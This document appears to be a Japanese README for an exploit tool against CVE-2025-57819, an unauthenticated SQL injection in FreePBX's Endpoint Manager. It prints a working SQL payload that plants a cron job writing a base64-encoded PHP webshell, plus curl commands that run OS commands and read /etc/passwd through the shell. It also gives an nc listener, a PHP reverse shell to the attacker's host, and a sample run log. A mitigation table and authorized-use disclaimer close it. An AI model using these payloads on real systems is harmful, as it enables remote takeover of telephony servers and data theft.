
FreePBX Endpoint Manager における認証不要のSQLインジェクション (CVE-2025-57819)。cronでスケジュールされたPHPウェブシェルを注入し、リモートコード実行を可能にします。
FreePBX は、Asterisk PBX のオープンソース Web GUI であり、エンタープライズテレフォニー環境で広く導入されています。Endpoint Manager モジュールは、/admin/ajax.php に AJAX ハンドラを公開しており、brand パラメータを受け取り、サニタイゼーションなしで直接 SQL クエリに展開します。認証されていないリモート攻撃者は、任意の SQL を注入し、cron_jobs テーブルに行を挿入し、FreePBX の cron デーモンに Web ルートに実行可能な PHP ウェブシェルを書き込ませることができます。これにより、約 1 分以内に認証なしのリモートコード実行が可能になります。
| フィールド | 値 |
|---|
| CVE ID | CVE-2025-57819 |
| CVSS スコア | 9.8 (クリティカル) |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — SQL コマンドで使用される特殊要素の不適切な無害化 |
| コンポーネント | FreePBX Endpoint Manager モジュール |
| 影響を受けるバージョン | FreePBX 17.x (未パッチ) |
| 修正済みバージョン | FreePBX 17.x (パッチ適用済み) |
| 攻撃ベクター | ネットワーク — 認証不要 |
脆弱性のあるリクエストは、Endpoint Manager の AJAX コマンドハンドラをターゲットにします。
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>
brand パラメータは、エスケープやプリペアドステートメントなしで SQL クエリに連結されます。攻撃者はクエリ文字列を閉じて、2 番目のステートメントを追加します。
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
注入された cron エントリは、Web サーバー/Asterisk プロセス所有者の下で毎分実行され、以下を書き込みます。
<?php system($_GET[cmd]); ?>
を /var/www/html/webshell.php に書き込み、HTTP 経由で認証なしの OS コマンド実行を実現します。
Endpoint Manager の AJAX ハンドラは、パラメーター化クエリではなく文字列フォーマットを使用して SQL を動的に構築します。brand フィールドは SELECT 文に埋め込まれる前に決して検証またはエスケープされないため、簡単に注入可能になります。
Attacker ──GET (SQL injection)──▶ /admin/ajax.php ──INSERT──▶ cron_jobs table
│
FreePBX cron daemon (≤60s) │
▼
Attacker ──GET ?cmd=id──────────▶ /webshell.php ◀── written ── cron exec
pip install requests urllib3
-t, --target Target IP address or hostname (required)
--timeout Seconds to wait for target availability (default: 30)
--delay Seconds to wait for cron job to execute (default: 65)
1. ターゲットに対してエクスプロイトを実行します:
# Basic — wait 65 s for the cron job to fire
python3 exploit.py -t <IP>
# Use hostname
python3 exploit.py -t connected.htb
# Extended cron wait on slow targets
python3 exploit.py -t <IP> --delay 90
2. ウェブシェルが確認されたら、直接操作します:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. ウェブシェル経由でリバースシェルにアップグレードします:
マシン上でリスナーを起動します:
nc -lvnp <LOCAL_PORT>
次に、cmd パラメータを介して PHP リバースシェルをトリガーします (URL エンコード):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
cmd として送信される URL デコードされたペイロードは次のとおりです:
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX Endpoint Module · SQL Injection → Cron Webshell ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
Component : FreePBX Endpoint Module
Affected : unpatched 17.x → Patched: patched 17.x
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — SQL Injection
Type : Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
Reference : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Probing target <IP> (max 30s) ...
14:03:12 [+] Target is alive — HTTP 200
14:03:12 [*] Inject endpoint : http://<IP>/admin/ajax.php
14:03:12 [!] Injecting cron job via SQL injection ...
14:03:12 [+] Injection request sent
14:03:12 [*] Waiting 65s for cron job to fire ...
14:04:17 [*] Probing webshell at http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] Webshell is active — command output:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] Webshell URL: http://<IP>/webshell.php?cmd=<command>
14:04:17 [+] Exploit routine complete.
タイミングに関する注意事項. デフォルトの
--delay65 秒により、cron デーモン (毎分の開始時に起動) が注入されたジョブを少なくとも 1 回実行する機会が確保されます。遅いターゲットの場合は、--delay 90または--delay 120に増やしてください。
| 優先度 | アクション |
|---|---|
| クリティカル | FreePBX ベンダーの CVE-2025-57819 パッチを直ちに適用する |
| クリティカル | 既存の /var/www/html/webshell.php アーティファクトをすべて削除する |
| 高 | /admin/ajax.php へのアクセスを認証済みの信頼できるネットワークソースに制限する |
| 高 | Endpoint Manager 内のすべての SQL クエリを監査およびサニタイズする — プリペアドステートメントを使用する |
| 中 | cron_jobs テーブルを制限する: INSERT 可能なロールを制限する |
| 中 | AJAX エンドポイントでスタッククエリパターンをブロックする WAF ルールを適用する |
| 低 | FreePBX/Asterisk プロセスを、Web ルートへの書き込みアクセス権がない最小特権アカウントで実行する |
このエクスプロイトは、教育目的および許可されたセキュリティテスト のためにのみ提供されます。自分が所有しているか、明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。無断使用は違法かつ非倫理的です。